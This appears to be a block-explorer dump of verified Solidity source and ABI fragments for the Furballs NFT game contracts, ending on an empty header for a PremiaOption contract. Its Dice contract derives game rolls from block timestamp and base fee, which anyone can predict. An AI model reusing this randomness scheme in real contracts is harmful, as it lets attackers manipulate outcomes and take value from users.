contracts/utils/ProxyRegistry.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // Contract doesn't really provide anything... contract OwnableDelegateProxy {} // Required format for OpenSea of proxy delegate store // https://github.com/ProjectOpenSea/opensea-creatures/blob/f7257a043e82fae8251eec2bdde37a44fee474c4/contracts/ERC721Tradable.sol // https://etherscan.io/address/0xa5409ec958c83c3f309868babaca7c86dcb077c1#code contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; }

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Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract 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Governance","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"intervalDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isModerator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint8","name":"editionIndex","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"moderators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"}],"name":"pickup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"address","name":"actor","type":"address"}],"name":"playMany","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"set","type":"bool"}],"name":"setAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setEngine","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"furAddress","type":"address"}],"name":"setFur","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"furgAddress","type":"address"}],"name":"setFurgreement","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setGovernance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mod","type":"address"},{"internalType":"bool","name":"set","type":"bool"}],"name":"setModerator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bool","name":"contextual","type":"bool"}],"name":"stats","outputs":[{"components":[{"internalType":"uint16","name":"expRate","type":"uint16"},{"internalType":"uint16","name":"furRate","type":"uint16"},{"components":[{"internalType":"uint16","name":"expPercent","type":"uint16"},{"internalType":"uint16","name":"furPercent","type":"uint16"},{"internalType":"uint16","name":"luckPercent","type":"uint16"},{"internalType":"uint16","name":"happinessPoints","type":"uint16"},{"internalType":"uint16","name":"energyPoints","type":"uint16"},{"internalType":"uint32","name":"zone","type":"uint32"}],"internalType":"struct FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/Dice.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title Dice /// @author LFG Gaming LLC /// @notice Math utility functions that leverage storage and thus cannot be pure abstract contract Dice { uint32 private LAST = 0; // Re-seed for PRNG /// @notice A PRNG which re-seeds itself with block information & another PRNG /// @dev This is unit-tested with monobit (frequency) and longestRunOfOnes function roll(uint32 seed) public returns (uint32) { LAST = uint32(uint256(keccak256( abi.encodePacked(block.timestamp, block.basefee, _prng(LAST == 0 ? seed : LAST))) )); return LAST; } /// @notice A PRNG based upon a Lehmer (Park-Miller) method /// @dev https://en.wikipedia.org/wiki/Lehmer_random_number_generator function _prng(uint32 seed) internal view returns (uint32) { uint64 nonce = seed == 0 ? uint32(block.timestamp) : seed; uint64 product = uint64(nonce) * 48271; uint32 x = uint32((product % 0x7fffffff) + (product >> 31)); return (x & 0x7fffffff) + (x >> 31); } }

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IFurballEdition","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"engine","outputs":[{"internalType":"contract ILootEngine","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"}],"internalType":"struct FurLib.Feeding[]","name":"feedings","type":"tuple[]"},{"internalType":"address","name":"actor","type":"address"}],"name":"feed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fur","outputs":[{"internalType":"contract Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract Furgreement","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"governance","outputs":[{"internalType":"contract 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FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/MetaData.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title MetaData /// @author LFG Gaming LLC /// @notice Utilities for creating MetaData (e.g., OpenSea) library MetaData { function trait(string memory traitType, string memory value) internal pure returns (bytes memory) { return abi.encodePacked('{"trait_type": "', traitType,'", "value": "', value, '"}, '); } function traitNumberDisplay( string memory traitType, string memory displayType, uint256 value ) internal pure returns (bytes memory) { return abi.encodePacked( '{"trait_type": "', traitType, bytes(displayType).length > 0 ? '", "display_type": "' : '', displayType, '", "value": ', FurLib.uint2str(value), '}, ' ); } function traitValue(string memory traitType, uint256 value) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "", value); } /// @notice Convert a modifier percentage (120%) into a metadata +20% boost function traitBoost( string memory traitType, uint256 percent ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "boost_percentage", percent > 100 ? (percent - 100) : 0); } function traitNumber( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "number", value); } function traitDate( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "date", value); } }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/Stakeholders.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurProxy.sol"; import "./FurLib.sol"; import "../Furballs.sol"; /// @title Stakeholders /// @author LFG Gaming LLC /// @notice Tracks "percent ownership" of a smart contract, paying out according to schedule /// @dev Acts as a treasury, receiving ETH funds and distributing them to stakeholders abstract contract Stakeholders is FurProxy { // stakeholder values, in 1/1000th of a percent (received during withdrawls) mapping(address => uint64) public stakes; // List of stakeholders. address[] public stakeholders; // Where any remaining funds should be deposited. Defaults to contract creator. address payable public poolAddress; constructor(address furballsAddress) FurProxy(furballsAddress) { poolAddress = payable(msg.sender); } /// @notice Overflow pool of funds. Contains remaining funds from withdrawl. function setPool(address addr) public onlyOwner { poolAddress = payable(addr); } /// @notice Changes payout percentages. function setStakeholder(address addr, uint64 stake) public onlyOwner { if (!_hasStakeholder(addr)) { stakeholders.push(addr); } uint64 percent = stake; for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] != addr) { percent += stakes[stakeholders[i]]; } } require(percent <= FurLib.OneHundredPercent, "Invalid stake (exceeds 100%)"); stakes[addr] = stake; } /// @notice Empties this contract's balance, paying out to stakeholders. function withdraw() external gameAdmin { uint256 balance = address(this).balance; require(balance >= FurLib.OneHundredPercent, "Insufficient balance"); for (uint256 i=0; i<stakeholders.length; i++) { address addr = stakeholders[i]; uint256 payout = balance * uint256(stakes[addr]) / FurLib.OneHundredPercent; if (payout > 0) { payable(addr).transfer(payout); } } uint256 remaining = address(this).balance; poolAddress.transfer(remaining); } /// @notice Check function _hasStakeholder(address addr) internal view returns(bool) { for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] == addr) { return true; } } return false; } // ----------------------------------------------------------------------------------------------- // Payable // ----------------------------------------------------------------------------------------------- /// @notice This contract can be paid transaction fees, e.g., from OpenSea /// @dev The contractURI specifies itself as the recipient of transaction fees receive() external payable { } }

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FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/Community.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: BSD-3-Clause /// @title Vote checkpointing for an ERC-721 token /// @dev This ERC20 has been adopted from /// https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // Community.sol uses and modifies part of Compound Lab's Comp.sol: // https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/Governance/Comp.sol // // Comp.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license. // With modifications by Nounders DAO. // // Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause // // MODIFICATIONS // Checkpointing logic from Comp.sol has been used with the following modifications: // - `delegates` is renamed to `_delegates` and is set to private // - `delegates` is a public function that uses the `_delegates` mapping look-up, but unlike // Comp.sol, returns the delegator's own address if there is no delegate. // This avoids the delegator needing to "delegate to self" with an additional transaction // - `_transferTokens()` is renamed `_beforeTokenTransfer()` and adapted to hook into OpenZeppelin's ERC721 hooks. pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./FurLib.sol"; /// @title Community /// @author LFG Gaming LLC /// @notice This is a derived token; it represents a weighted balance of the ERC721 token (Furballs). /// @dev There is no fiscal interest in Community. This is simply a measured value of community voice. contract Community is ERC20 { /// @notice A record of each accounts delegate mapping(address => address) private _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } constructor() ERC20("FurballsCommunity", "FBLS") { } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)'); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @notice The votes a delegator can delegate, which is the current balance of the delegator. * @dev Used when calling `_delegate()` */ function votesToDelegate(address delegator) public view returns (uint96) { return safe96(balanceOf(delegator), 'Community::votesToDelegate: amount exceeds 96 bits'); } /** * @notice Overrides the standard `Comp.sol` delegates mapping to return * the delegator's own address if they haven't delegated. * This avoids having to delegate to oneself. */ function delegates(address delegator) public view returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } /// @notice Sets the addresses' standing directly function update(FurLib.Account memory account, address addr) external returns (uint256) { require(false, 'NEED SECURITY'); // uint256 balance = balanceOf(addr); // if (standing > balance) { // _mint(addr, standing - balance); // } else if (standing < balance) { // _burn(addr, balance - standing); // } } /** * @notice Adapted from `_transferTokens()` in `Comp.sol` to update delegate votes. * @dev hooks into OpenZeppelin's `ERC721._transfer` */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { super._beforeTokenTransfer(from, to, amount); require(from == address(0), "Votes may not be traded."); /// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation _moveDelegates(delegates(from), delegates(to), uint96(amount)); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { if (delegatee == address(0)) delegatee = msg.sender; return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Community::delegateBySig: invalid signature'); require(nonce == nonces[signatory]++, 'Community::delegateBySig: invalid nonce'); require(block.timestamp <= expiry, 'Community::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, 'Community::getPriorVotes: not yet determined'); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); uint96 amount = votesToDelegate(delegator); _moveDelegates(currentDelegate, delegatee, amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, 'Community::_moveDelegates: amount underflows'); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, 'Community::_moveDelegates: amount overflows'); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, 'Community::_writeCheckpoint: block number exceeds 32 bits' ); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }

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IFurballEdition","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"engine","outputs":[{"internalType":"contract ILootEngine","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"}],"internalType":"struct FurLib.Feeding[]","name":"feedings","type":"tuple[]"},{"internalType":"address","name":"actor","type":"address"}],"name":"feed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fur","outputs":[{"internalType":"contract Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract 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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

PremiaOption

contracts/PremiaOption.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

